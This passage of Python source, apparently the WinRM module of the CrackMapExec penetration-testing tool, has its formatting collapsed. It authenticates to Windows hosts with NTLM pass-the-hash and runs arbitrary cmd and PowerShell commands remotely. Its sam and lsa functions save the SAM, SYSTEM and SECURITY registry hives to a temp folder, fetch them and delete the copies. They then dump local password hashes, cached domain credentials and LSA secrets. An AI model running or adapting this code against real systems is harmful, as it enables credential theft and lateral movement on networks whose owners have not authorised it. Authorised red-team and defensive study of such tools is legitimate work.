self.args.ignore_ssl_cert: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( self.domain, self.username), password=lmhash + nthash, ssl=True, cert_validation=False) elif self.args.ssl: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( self.domain, self.username), password=lmhash + nthash, ssl=True) else: self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format( self.domain, self.username), password=lmhash + nthash, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format( self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, highlight('({})'.format(self.config.get('CME', 'pwn3d_label') ) if self.admin_privs else ''))) if not self.args.local_auth: add_user_bh(self.username, self.domain, self.logger, self.config) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format( self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)) else: self.logger.error(u'{}\\{}:{} "{}"'.format( self.domain, self.username, nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8, e)) return False def execute(self, payload=None, get_output=False): try: r = self.conn.execute_cmd(self.args.execute) except: self.logger.debug( 'Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !' ) r = self.conn.execute_ps(self.args.execute) self.logger.success('Executed command') self.logger.highlight(r[0]) def ps_execute(self, payload=None, get_output=False): r = self.conn.execute_ps(self.args.ps_execute) self.logger.success('Executed command') self.logger.highlight(r[0]) def sam(self): self.conn.execute_cmd( "reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM" ) self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam") self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") self.conn.execute_cmd( "del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM") localOperations = LocalOperations(self.output_filename + ".system") bootKey = localOperations.getBootKey() SAM = SAMHashes( self.output_filename + ".sam", bootKey, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret)) SAM.dump() SAM.export(self.output_filename + ".sam") def lsa(self): self.conn.execute_cmd( "reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM" ) self.conn.fetch("C:\\windows\\temp\\SECURITY", self.output_filename + ".security") self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system") self.conn.execute_cmd( "del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY") localOperations = LocalOperations(self.output_filename + ".system") bootKey = localOperations.getBootKey() LSA = LSASecrets(self.output_filename + ".security", bootKey, None, isRemote=None, perSecretCallback=lambda secretType, secret: self. logger.highlight(secret)) LSA.dumpCachedHashes() LSA.dumpSecrets()